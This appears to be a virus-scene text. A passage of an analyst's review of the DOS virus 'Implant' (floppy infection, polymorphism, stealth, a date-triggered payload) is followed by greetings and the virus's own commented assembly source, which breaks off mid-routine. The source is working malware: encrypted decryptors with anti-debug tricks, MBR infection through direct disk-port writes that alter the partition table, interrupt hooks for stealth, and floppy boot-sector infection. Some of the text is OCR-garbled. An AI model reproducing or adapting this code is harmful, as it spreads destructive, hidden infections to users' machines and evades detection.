Infection of Floppies ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The floppy disk boot sector is infected in much the same

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

manner as the MBR. The virus follows the jump chain in the floppy boot sector and writes 35 bytes of its code there. The encrypted polymorphic virus body is placed on a floppy on an additional track (number 80) which it first formats. This track will have 13 sectors: the first will carry a copy of an original boot sector: the rest will be occupied by the encrypted virus body. To infect floppy disks, Implant uses Int 40h, which usually points to BIOS code. The virus infects only 1.2MB or 1.44MB floppies. It checks the total amount of sectors on the media (the word at offset 13h in the boot sector) and proceeds with infection only if the number of sectors is B40h or 960h (2880 or 2400, respectively). For self-recognition, the virus cheeks the two letters at offset 21 h from the last jump in the chain (if any): all infected floppies contain the marker 'CR' at this point. There is a with a JMP inserted 1 to work as takes just

bug in floppy infection: if the boot sector starts (opcode E9h, not usual EBh), the virus code is byte lower than necessary. Still, the virus is able the first instruction of its code is CLI, which 1 byte and is not absolutely necessary.

Polymorphic Engine ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Implant's polymorphic engine is very powerful. Suffice it to say that it supports subroutines, conditional jumps with nonzero displacement, and memory writes. This engine takes a good half of the virus' code. The engine makes extensive use of the table of random bytes, created during the initialization phase. The approach of using a table generated just once during the installation of the virus into memory classifies Implant as a slow polymorphic. This means that the variety of the polymorphic decryptors is artificially limited until the next reboot of the PC. It poses some problems for anti-virus researchers, as it becomes difficult to create enough files infected in enough different ways to test detection. Files are encrypted in two layers: the first is polymorphic: the second is simple XOR encryption with a slightly variable decrylptor. Some attempts are made to prevent tracing the second decryptor, but no anti-emulation tricks are used.

Stealth Properties ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Implant stealths its modifications to the MBR and FBR. The virus also does not allow writes to the sectors on track 0 which are used by the MBR copy and the virus body (sectors 03h to 0Fh). If any of the programs ME*.*. CH*.*, SY*.*, SM*.* is run (these patterns appear to be intended to match MEM. CHKDSK. SYSINFO and SMAP) the virus spoofs the value returned by Int 12h (free RAM) by adding 7K to the real figure. Hence, the amount of memory is reported as it was before infection. The stealthing of infected files is more sophisticated than

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

that of the MBR and floppy boot sector. Most modern stealth viruses do 'semi-stealth' (just the change in the file size is concealed). Implant, on the other hand, is full stealth, so when the virus is active. even integrity checking programs will not report any file modifications. A common problem to all stealth viruses is how, to suppress error messagres from the CHKDSK utility. When run on a system infected with a stealth virus. CHKDSK reports allocation errors, because reported file sizes do not match their actual sizes (i.e. the reported size in bytes does not match the number of clusters in the file allocation table). Implant recognizes that CHKDSK.EXE (or a similar utility) is being run, and turns off its stealth routine whilst the disk check is performed. If there is any doubt as to whether or not a PC is infected by Implant, the easiest way to check is to create a file called CHKLIST. If there are problems accessing this file, the virus is almost certainly resident. To check if a particular executable is infected, it is probably easiest to pack the file into an archive and check whether the size inside is the same as outside. If not, the file is infected.

Payload ÄÄÄÄÄÄÄ Implant's payload triggers on 4 June. after any program asks for the system date. The payload is buggy: it was apparently supposed to destroy the contents of track 0, rendering the system unusable, but the virus itself rejects the attempt to overwrite the infected MBR ! So, the destructive part of the payload does not work. After this unsuccessful attempt to zap itself, the virus slowly, types the following text in the middle of the screen (green letters on a black background, accompanied by a rattling, perhaps meant to resemble the noise of a typewriters):

<<< SuckSexee Automated Intruder >>> Viral Implant Bio-Coded by GriYo/29A

Then the PC freezes. After a reboot (until you chance the CMOS clock setting) the payload will eventually trigger agrain because some program, sooner or later, will try to get the system date - and the cycle will begin again...

Summary ÄÄÄÄÄÄÄ Implant impressed me. It is definitely written by a talented person - it is a pity, his skills are used so destructively. I recently received another interesting virus (Gollum.7167) from the same author (carrying the signature 'GriYo/29A'): it spreads via infected standard DOS EXE files which drop a VxD in Windows'SYSTEM directory (called GOLLUM.386) and registers it in SYSTEM.INI. When Windows is started, the VxD becomes active and will infect DOS EXE files run in the DOS box. This virus again shows that GriYo uses approaches that are neither common nor trivial.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

I wonder if this is talent comparable to the Dark Avenger or the author of One Half? I sincerely hope such a gifted person will find better thing to do than write viruses. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 And finally... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Greetings go to the following generation: AúGuS & Company ............ Absolute Overlord .......... Mister Sandman ............. All the 29Aers .............

SuckSexee people rulez PolyMorphic OpCode GENerator Mississippi ruleeez, hahaha! 29A 3LiT3 ;)

And all the replicants usually at #virus

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Let's have some fun! ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

launcher

.286 segment para 'CODE' assume cs:launcher,ds:launcher,es:launcher,ss:launcher org 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Equates, equates, equates... ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

inf_byte_size

;Virus size in infections equ virus_data_buffer-virus_entry

inf_para_size

;Virus infection size in parragraphs equ (inf_byte_size+0Fh)/0010h

inf_sect_size

;Virus infection size in sectors equ (inf_byte_size+01FFh)/0200h

mem_byte_size

;Virus size in memory equ virus_end_buffer-virus_entry

mem_kb_size

;Virus size in memory in Kb equ (mem_byte_size+03FFh)/0400h

mem_para_size

;Virus size in memory in parragraphs equ (mem_byte_size+0Fh)/0010h

decryptor

;Decryptor size in bytes equ virus_body-virus_entry

second_size

;Second decryptor size in bytes equ second_body-virus_entry

boot_size

;Boot code size in bytes equ boot_end-boot_code

;File header size file_header_size equ 1Ch ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus entry-point for all its targets ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

virus_entry: ;Space for decryptor or random data block db 0400h dup (90h) virus_body:

file_delta

;Get delta offset stored on infection ( mov bp,xxxx ) db 0BDh dw 0000h ;Save segment registers push ds push es ;Save bx ( pointer to parameter block when calling .sys ) push bx ;Setup segment regs mov ax,cs mov ds,ax mov es,ax

avoid_decryptor: ;Avoid second decryptor on first virus generation jmp short second_body ;Perform second decryption loop mov cx,inf_byte_size-second_size+01h ;Get pointer to decryption zone and return address lea ax,word ptr [second_body][bp] ;Save return address push ax ;Load pointers mov si,ax mov di,ax ;Get decryption key mov bl,byte ptr cs:[clave_crypt][bp] second_loop: ;Decrypt one byte cld lodsb sub al,bl ;Do shit with stack (will fool some emulators) push ax pop dx cli mov ax,0002h sub sp,ax sti pop ax cmp ax,dx jne second_loop ;Store decrypted byte cld stosb ;Call to int 03h for anti debug int 03h

;Modify key inc bl loop second_loop ;Clear prefetch db 0EBh,00h ;Jump to decryption zone ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Start of double-encrypted area ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄsecond_body: ;Check cpu type (SuckSexee needs 286+) mov al,02h mov cl,21h shr al,cl or al,al jz control_back ;Installation check mov si,00BADh mov di,0FACEh xor cx,cx ;Check if running in mbr, floppy boot sector or .sys file cmp word ptr ds:[exit_address][bp],offset exit_exe - \ offset host_ret je exe_com_installation cmp word ptr ds:[exit_address][bp],offset exit_com - \ offset host_ret jne others_installation exe_com_installation: ;This will advertise to the already resident virus that ;its time to hook int 21h if isnt hooked mov cx,029Ah others_installation: ;Installation check works with int 12h coz can be called ;from mbr or from files... and also coz id like number 12h int 12h cmp si,0DEADh jne not_resident cmp di,0BABEh jne not_resident control_back:

exit_address

;Get control back to infected target db 0EBh,00h ;Load offset of exit address into bx db 0E9h dw offset exit_launcher - offset host_ret

host_ret

equ this byte

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect hd mbr ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

not_resident: ;Enable second decryption loop mov word ptr [avoid_decryptor][bp],9090h ;Generate a block of random data over decryptor routine ;(that routine havent any use at this point so we can use ;its memory space) ;Polymorphic engine will use this data later for its ;slow mutation procedures ;This is better than other slow mutation engines i saw ;coz it produces several mutations of the virus on the ;same machine, but not enough mutations for ;analisys mov di,bp mov cx,decryptor fill_rnd_1: call random_number cld stosb loop fill_rnd_1 ;Reset disk controler xor ah,ah mov dx,0080h int 13h ;Read mbr mov ax,0201h mov cx,0001h lea bx,word ptr [virus_copy][bp] int 13h jnc ok_read_mbr jmp go_memory ok_read_mbr: ;Check for mbr marker cmp word ptr ds:[bx+01FEh],0AA55h jne no_mbr_infection ;Search active partition lea si,word ptr [virus_copy+01BEh][bp] mov cl,04h search_active: cmp byte ptr ds:[si],dl je found_active add si,10h loop search_active no_mbr_infection: ;Exit if no active partition found ;This is also the way on witch the virus marks ;infected mbr jmp go_memory found_active: ;Check partition type mov al,byte ptr ds:[si+04h] ;Dos 16bit-fat?

cmp al,04h je partition_type_ok ;Dos 4.0+ 32Mb? cmp al,06h je partition_type_ok ;Exit if virus cant handle such partition type jmp go_memory partition_type_ok: ;Check if enougth sectors before partition cmp byte ptr ds:[si+08h],inf_sect_size+01h jb go_memory ;Crypt original mbr call crypt_sector ;Write original mbr for stealth mov ax,0301h mov cl,03h int 13h jc go_memory ;Restore sector call crypt_sector ;By using this trick the computer cant be booted ;from a system floppy ;Set partition type as extended dos partition mov byte ptr ds:[si+04h],05h ;Disable partition and set head to 00h xor ax,ax mov word ptr ds:[si],ax inc ax ;Set partition starting at cilinder 00h sector 01h mov word ptr ds:[si+02h],ax ;Save position of virus body in hd ;(side 00h track 00h sector 04h) inc cl mov word ptr ds:[load_cx][bp],cx ;Get position of code into mbr call get_position ;Move virus loader over boot sector code lea si,word ptr [boot_code][bp] mov cx,boot_size cld rep movsb ;Write infected mbr call hd_write_port ;Save exit address push word ptr ds:[exit_address][bp] ;This will tell the virus that this is a mbr infection

mov word ptr ds:[exit_address][bp],offset exit_mbr - \ offset host_ret ;Clear dos running switch sub ax,ax mov byte ptr ds:[running_sw][bp],al ;Clear dos loaded flag mov byte ptr ds:[dos_flag][bp],al ;Clear file infection flag mov byte ptr ds:[file_infection_flag][bp],al ;Reset virus timer mov word ptr ds:[virus_timer][bp],ax ;Set delta offset for mbr poly engine mov word ptr ds:[file_delta][bp],7E00h ;Save pointer to polymorphic engine working buffer mov word ptr ds:[poly_working_off][bp],bx mov word ptr ds:[poly_working_seg][bp],es ;Perform encryption call do_encrypt ;Write virus body mov ax,0300h+inf_sect_size mov cl,04h int 13h ;Restore exit address pop word ptr ds:[exit_address][bp] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Go memory resident if running from mbr or floppy boot sector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgo_memory: ;Running from hd mbr or floppy bs? cmp word ptr cs:[exit_address][bp],offset exit_mbr - \ offset host_ret jne running_in_file ;Allocate some bios memory sub di,di mov es,di sub word ptr es:[0413h],mem_kb_size mov ax,word ptr es:[0413h] ;Copy virus to allocated memory mov cl,06h shl ax,cl mov es,ax mov si,bp mov cx,inf_byte_size cld rep movsb ;Hook ints push es pop ds

;Get int 12h vector mov al,12h call get_int ;Save old int 12h mov word ptr ds:[old12h_off],bx mov word ptr ds:[old12h_seg],es ;Hook int 12h mov dx,offset my_int12h call set_int ;Get int 13h vector inc al call get_int ;Save old int 13h mov word ptr ds:[old13h_off],bx mov word ptr ds:[old13h_seg],es ;Hook int 13h mov dx,offset my_int13h call set_int ;Get int 1Ch vector mov al,1Ch call get_int ;Save old int 1Ch mov word ptr ds:[old1Ch_off],bx mov word ptr ds:[old1Ch_seg],es ;Hook int 1Ch mov dx,offset my_int1Ch call set_int ;Get int 40h vector mov al,40h call get_int ;Save old int 40h mov word ptr ds:[old40h_off],bx mov word ptr ds:[old40h_seg],es running_in_file: ;Return to boot sequence jmp control_back ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit from infected hd mbr or floppy boot sector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_mbr: ;Get .sys parameter block pointer out of stack pop bx ;Restore segment registers pop es pop ds ;Reboot system int 19h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

;³Exit from .sys infected files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_sys: ;Point to old .sys header ( offset of strategy routine address ) lea si,word ptr [old_header+0006h][bp] mov di,0006h cld lodsw stosw ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Get control back to strategy subroutine push cs push ax ;Clear some regs xor ax,ax xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp retf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit from .com infected files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_com: ;Restore first three bytes lea si,word ptr [old_header][bp] mov di,0100h mov cx,0003h cld rep movsb ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Get control back to host push cs push 0100h ;Clear some regs xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp retf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

;³Exit from .exe infected files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_exe: ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Get active psp mov ah,62h int 21h add bx,10h add word ptr cs:[exe_cs][bp],bx ;Restore stack cli add bx,word ptr cs:[old_header+0Eh][bp] mov ss,bx mov sp,word ptr cs:[old_header+10h][bp] sti ;Clear some regs xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp sti ;Clear prefetch db 0EBh,00h ;Jump to original entry point db 0EAh exeret

equ this byte

exe_ip exe_cs

dw 0000h dw 0000h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exit program if launcher execution ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_launcher: ;Get .sys parameter block pointer pop bx ;Restore segment registers pop es pop ds ;Use terminate program in droppers mov ax,4C00h int 21h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Write hard drive mbr using direct port access ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄhd_write_port: ;Save some reg

push cx push dx push si ;Get offset of write buffer mov si,bx call pause_some_ms try_hd_port_again: ;Enable disk reset (FDC) mov dx,03F6h mov al,04h out dx,al call pause_some_ms xor al,al out dx,al call pause_some_ms ;Send drive 00h and head 00h mov dx,01F6h mov al,0A0h out dx,al call pause_some_ms ;Prepare drive to write at cylinder 00h mov dx,01F7h mov al,10h out dx,al call wait_drive_ready ;Check for errors on drive operation mov dx,01F1h in al,dx and al,68h jnz try_hd_port_again call wait_drive_ready ;Send number of sectors to write ( 01h sector ) mov dx,01F2h mov al,01h out dx,al call pause_some_ms ;Send sector mov dx,01F3h mov al,01h out dx,al call pause_some_ms ;Send cylinder high mov dx,01F4h xor al,al out dx,al call pause_some_ms ;Send cylinder low mov dx,01F5h xor al,al out dx,al call pause_some_ms ;Send drive and head

mov dx,01F6h mov al,0A0h out dx,al call pause_some_ms ;Send command (write sector without retry) mov dx,01F7h mov al,31h out dx,al call wait_seek_ready ;Send data to port ( 0100h words for 01h sector ) mov cx,0100h mov dx,01F0h cld rep outsw call wait_drive_ready exit_mbr_infection: ;Restore regs and return pop si pop dx pop cx ret wait_drive_ready: ;Check drive-ready flag mov dx,01F7h still_working: in al,dx test al,80h jnz still_working ret wait_seek_ready: call wait_drive_ready ;Check if seek operation complete test al,08h jz wait_seek_ready ret pause_some_ms: void_loop:

mov cx,0008h loop void_loop ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 1Ch handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy_int1Ch: ;Do not use this handler if file infection is active cmp byte ptr cs:[file_infection_flag],0FFh je my1Ch_exit ;Inc virus timer counter inc word ptr cs:[virus_timer]

;Check if time to hook dos cmp word ptr cs:[virus_timer],0100h jne not_time_for_dos ;Try to hook dos call hook_dos jmp short my1Ch_exit not_time_for_dos: ;Check if time to start infecting files cmp word ptr cs:[virus_timer],1000h jne my1Ch_exit ;Set file infection flag and stop virus timer mov byte ptr cs:[file_infection_flag],0FFh my1Ch_exit: ;Get control back to old int 1Ch jmp dword ptr cs:[old1Ch] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 12h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy_int12h: ;Perform int call pushf call dword ptr cs:[old12h] ;Installation check cmp si,00BADh jne not_check_v cmp di,0FACEh jne not_check_v ;Check if call comes from infected .com or .exe files cmp cx,029Ah jne not_from_exe_com call hook_dos not_from_exe_com: ;Im here!!! mov si,0DEADh mov di,0BABEh not_check_v: iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus int 13h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy_int13h: ;Hook dos on first write operation cmp ah,03h jne look_mbr call hook_dos look_mbr: ;Check for head 00h or dh,dh jnz my13h_exit

;Take care about track 00h or ch,ch jne my13h_exit ;Floppy or hd? cmp dl,80h je is_hd_operation or dl,dl jz is_floppy_operation jmp my13h_exit is_hd_operation: ;Check for write operations cmp ah,03h je hd_write ;Check for extended write operations cmp ah,0Bh je hd_write ;Check for read operations cmp ah,02h je hd_read ;Check for extended read operations cmp ah,0Ah je hd_read my13h_exit: ;Get control back to old int 13h jmp dword ptr cs:[old13h] ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Monitoring hd write operations ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄhd_write: ;Trying to overwrite virus sectors? cmp cl,04h+inf_sect_size ja my13h_exit ;Return without error clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Monitoring hd read operations ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄhd_read: ;Trying to read infected mbr? cmp cl,01h je stealth_mbr ;Trying to read sectors on witch virus resides? cmp cl,04h+inf_sect_size ja my13h_exit ;Return with error stc retf 02h

stealth_mbr: ;Redirect reads to infected mbr into the clean copy mov al,01h mov cl,03h pushf call dword ptr cs:[old13h] jc mbr_stealth_error ;Decrypt mbr call crypt_sector clc mbr_stealth_error: retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Perform encryption over es:[bx] 0200h byte ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_sector: push ax push cx push di mov cx,0200h/02h mov di,bx cld sector_loop_crypt: mov ax,word ptr es:[di] not ax stosw loop sector_loop_crypt pop di pop cx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus floppy infection routine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄis_floppy_operation: ;Check of buffer in use by int 21h handler cmp byte ptr cs:[running_sw],00h jne my13h_exit ;Check read operations cmp ah,02h jne my13h_exit ;Over sector 01h cmp cl,01h jne my13h_exit ;Perform read operation call do_int13h jnc ok_floppy_read

retf 02h ok_floppy_read: ;Save all regs, we are going to trash them call push_all ;Check if floppy already infected call get_position cmp word ptr es:[di+boot_marker-boot_code],"RC" jne not_infected ;Read original boot sector call pop_all call read_boot_extra retf 02h not_infected: ;Check for mbr marker also in floppy cmp word ptr es:[bx+01FEh],0AA55h jne exit_floppy_infection ;Check if dos has been loaded cmp byte ptr cs:[dos_flag],0FFh je environment_ready exit_floppy_infection: call pop_all clc retf 02h environment_ready: ;Choose disk device parameter table mov ax,word ptr es:[bx+13h] mov di,offset floppy5_25 cmp ax,0960h je ok_ddpt_index mov di,offset floppy3_5 cmp ax,0B40h jne exit_floppy_infection ok_ddpt_index: ;Save some regs push es push bx push dx ;Get int 1Eh (address where bios stores a pointer to ddpt) mov al,1Eh call get_int ;Save int 1Eh mov word ptr cs:[old1Eh_off],bx mov word ptr cs:[old1Eh_seg],es ;Hook int 1Eh to our ddpt push cs pop ds mov dx,di call set_int

